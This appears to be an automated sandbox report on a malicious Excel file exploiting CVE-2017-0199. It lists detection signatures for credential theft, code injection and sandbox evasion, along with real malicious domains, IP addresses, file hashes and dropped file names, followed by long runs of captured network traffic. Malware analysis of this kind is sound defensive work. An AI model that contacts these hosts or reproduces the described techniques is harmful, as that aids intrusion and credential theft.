Windows Analysis Report
SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx

Overview

General Information

Sample name: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx
Analysis ID: 1543746
MD5: 476e05dbccfd74ce2aa888a42d0438e8
SHA1: 6e763cf9a6825c5ce3224a4630625659bad08b51
SHA256: b8fdd158f41abbd97902857a684a23003d32ebe27ba601d83e0778ee1bdd2ea9
Tags: xlsx
Infos:

Detection

HTMLPhisher
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Early bird code injection technique detected
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Powershell drops PE file
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: System File Execution Location Anomaly
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx ReversingLabs: Detection: 21%
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx Joe Sandbox ML: detected

Phishing
barindex
Yara detected HtmlPhish44
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\niceworkingthingswithgreatthingsevengetbackwithgoodnews[1].hta, type: DROPPED
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.217.106.226:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.pdbhP source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.pdb source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004062A3 FindFirstFileA,FindClose, 11_2_004062A3
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_00405768 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 11_2_00405768
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004026FE FindFirstFileA, 11_2_004026FE

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: qrisni.me
Source: global traffic DNS query: name: qrisni.me
Source: global traffic DNS query: name: www.bookinginfo.asia
Source: global traffic DNS query: name: www.bookinginfo.asia
Source: global traffic DNS query: name: www.bookinginfo.asia
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 199.217.106.226:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
